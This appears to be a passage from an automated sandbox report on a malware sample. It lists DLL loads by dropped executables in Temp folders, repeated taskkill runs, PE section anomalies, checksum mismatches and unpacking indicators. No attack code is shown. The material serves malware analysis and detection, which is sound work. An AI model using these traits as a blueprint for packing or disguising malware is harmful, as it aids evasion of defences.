Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001161001\num.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1001161001\num.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1001161001\num.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1001161001\num.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1001161001\num.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1001161001\num.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1001161001\num.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1001161001\num.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1001161001\num.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1001161001\num.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001161001\num.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1001161001\num.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001161001\num.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1001161001\num.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1001161001\num.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001161001\num.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1001161001\num.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1001161001\num.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1001161001\num.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001161001\num.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1001161001\num.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1001161001\num.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1001161001\num.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1001161001\num.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1001161001\num.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1001161001\num.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1001161001\num.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1001161001\num.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001161001\num.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1001161001\num.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001161001\num.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1001161001\num.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1001161001\num.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001161001\num.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1001161001\num.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1001161001\num.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1001161001\num.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe	Section loaded: wldp.dll

Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: C:\Program Files\Mozilla Firefox\firefox.exe

File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\compatibility.ini

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: file.exe

Static file information: File size 2888192 > 1048576

Source: file.exe

Static PE information: Raw size of otopmwwu is bigger than: 0x100000 < 0x297a00

Source:

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe	Unpacked PE file: 3.2.0KH83O2UU7K66U0BZXMNJ98MCWGN.exe.3f0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;wcmebtxw:EW;qmfzzgve:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;wcmebtxw:EW;qmfzzgve:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe	Unpacked PE file: 4.2.5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe.bd0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;xfniszhi:EW;punnpugg:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;xfniszhi:EW;punnpugg:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe	Unpacked PE file: 6.2.A77BGJTTW6SX9ESX.exe.990000.0.unpack :EW;.rsrc:W;.idata :W;tkeufwxa:EW;icskcldh:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Unpacked PE file: 9.2.dbec6bb1cf.exe.4a0000.0.unpack :EW;.rsrc :W;.idata :W;otopmwwu:EW;nwnnypis:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W;otopmwwu:EW;nwnnypis:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe	Unpacked PE file: 10.2.de379087e7.exe.740000.0.unpack :EW;.rsrc :W;.idata :W; :EW;xfniszhi:EW;punnpugg:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;xfniszhi:EW;punnpugg:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Unpacked PE file: 11.2.dbec6bb1cf.exe.4a0000.0.unpack :EW;.rsrc :W;.idata :W;otopmwwu:EW;nwnnypis:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W;otopmwwu:EW;nwnnypis:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 12.2.skotes.exe.740000.0.unpack :EW;.rsrc:W;.idata :W; :EW;wcmebtxw:EW;qmfzzgve:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;wcmebtxw:EW;qmfzzgve:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe	Unpacked PE file: 30.2.de379087e7.exe.740000.0.unpack :EW;.rsrc :W;.idata :W; :EW;xfniszhi:EW;punnpugg:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;xfniszhi:EW;punnpugg:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Unpacked PE file: 47.2.dbec6bb1cf.exe.4a0000.0.unpack :EW;.rsrc :W;.idata :W;otopmwwu:EW;nwnnypis:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W;otopmwwu:EW;nwnnypis:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe	Unpacked PE file: 48.2.de379087e7.exe.740000.0.unpack :EW;.rsrc :W;.idata :W; :EW;xfniszhi:EW;punnpugg:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;xfniszhi:EW;punnpugg:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: random[1].exe.5.dr	Static PE information: real checksum: 0x2cf840 should be: 0x2cee36
Source: num[1].exe.5.dr	Static PE information: real checksum: 0x0 should be: 0x52a2a
Source: num.exe.5.dr	Static PE information: real checksum: 0x0 should be: 0x52a2a
Source: 0KH83O2UU7K66U0BZXMNJ98MCWGN.exe.0.dr	Static PE information: real checksum: 0x1cf5f3 should be: 0x1d9012
Source: 5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe.0.dr	Static PE information: real checksum: 0x1cd111 should be: 0x1c01ff
Source: A77BGJTTW6SX9ESX.exe.0.dr	Static PE information: real checksum: 0x2ac336 should be: 0x2a8fe1
Source: file.exe	Static PE information: real checksum: 0x2cf840 should be: 0x2cee36
Source: random[1].exe0.5.dr	Static PE information: real checksum: 0x1cd111 should be: 0x1c01ff
Source: skotes.exe.3.dr	Static PE information: real checksum: 0x1cf5f3 should be: 0x1d9012
Source: dbec6bb1cf.exe.5.dr	Static PE information: real checksum: 0x2cf840 should be: 0x2cee36
Source: de379087e7.exe.5.dr	Static PE information: real checksum: 0x1cd111 should be: 0x1c01ff

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name: otopmwwu
Source: file.exe	Static PE information: section name: nwnnypis
Source: file.exe	Static PE information: section name: .taggant
Source: 0KH83O2UU7K66U0BZXMNJ98MCWGN.exe.0.dr	Static PE information: section name:
Source: 0KH83O2UU7K66U0BZXMNJ98MCWGN.exe.0.dr	Static PE information: section name: .idata
Source: 0KH83O2UU7K66U0BZXMNJ98MCWGN.exe.0.dr	Static PE information: section name:
Source: 0KH83O2UU7K66U0BZXMNJ98MCWGN.exe.0.dr	Static PE information: section name: wcmebtxw
Source: 0KH83O2UU7K66U0BZXMNJ98MCWGN.exe.0.dr	Static PE information: section name: qmfzzgve
Source: 0KH83O2UU7K66U0BZXMNJ98MCWGN.exe.0.dr	Static PE information: section name: .taggant
Source: 5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe.0.dr	Static PE information: section name:
Source: 5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe.0.dr	Static PE information: section name: .rsrc
Source: 5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe.0.dr	Static PE information: section name: .idata
Source: 5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe.0.dr	Static PE information: section name:
Source: 5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe.0.dr	Static PE information: section name: xfniszhi
Source: 5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe.0.dr	Static PE information: section name: punnpugg
Source: 5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe.0.dr	Static PE information: section name: .taggant
Source: A77BGJTTW6SX9ESX.exe.0.dr	Static PE information: section name:
Source: A77BGJTTW6SX9ESX.exe.0.dr	Static PE information: section name: .idata
Source: A77BGJTTW6SX9ESX.exe.0.dr	Static PE information: section name: tkeufwxa
Source: A77BGJTTW6SX9ESX.exe.0.dr	Static PE information: section name: icskcldh
Source: A77BGJTTW6SX9ESX.exe.0.dr	Static PE information: section name: .taggant
Source: skotes.exe.3.dr	Static PE information: section name:
Source: skotes.exe.3.dr	Static PE information: section name: .idata
Source: skotes.exe.3.dr	Static PE information: section name:
Source: skotes.exe.3.dr	Static PE information: section name: wcmebtxw
Source: skotes.exe.3.dr	Static PE information: section name: qmfzzgve
Source: skotes.exe.3.dr	Static PE information: section name: .taggant
Source: random[1].exe.5.dr	Static PE information: section name:
Source: random[1].exe.5.dr	Static PE information: section name: .rsrc
Source: random[1].exe.5.dr	Static PE information: section name: .idata
Source: random[1].exe.5.dr	Static PE information: section name: otopmwwu
Source: random[1].exe.5.dr	Static PE information: section name: nwnnypis
Source: random[1].exe.5.dr	Static PE information: section name: .taggant
Source: dbec6bb1cf.exe.5.dr	Static PE information: section name:
Source: dbec6bb1cf.exe.5.dr	Static PE information: section name: .rsrc
Source: dbec6bb1cf.exe.5.dr	Static PE information: section name: .idata
Source: dbec6bb1cf.exe.5.dr	Static PE information: section name: otopmwwu
Source: dbec6bb1cf.exe.5.dr	Static PE information: section name: nwnnypis
Source: dbec6bb1cf.exe.5.dr	Static PE information: section name: .taggant
Source: random[1].exe0.5.dr	Static PE information: section name:
Source: random[1].exe0.5.dr	Static PE information: section name: .rsrc
Source: random[1].exe0.5.dr	Static PE information: section name: .idata
Source: random[1].exe0.5.dr	Static PE information: section name:
Source: random[1].exe0.5.dr	Static PE information: section name: xfniszhi
Source: random[1].exe0.5.dr	Static PE information: section name: punnpugg
Source: random[1].exe0.5.dr	Static PE information: section name: .taggant
Source: de379087e7.exe.5.dr	Static PE information: section name:
Source: de379087e7.exe.5.dr	Static PE information: section name: .rsrc
Source: de379087e7.exe.5.dr	Static PE information: section name: .idata
Source: de379087e7.exe.5.dr	Static PE information: section name:
Source: de379087e7.exe.5.dr	Static PE information: section name: xfniszhi
Source: de379087e7.exe.5.dr	Static PE information: section name: punnpugg
Source: de379087e7.exe.5.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B8B2A4 push edi; iretd	0_3_00B8B2CB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B8B2A4 push edi; iretd	0_3_00B8B2CB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B8E601 push ebx; retf	0_3_00B8E602
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B8E601 push ebx; retf	0_3_00B8E602
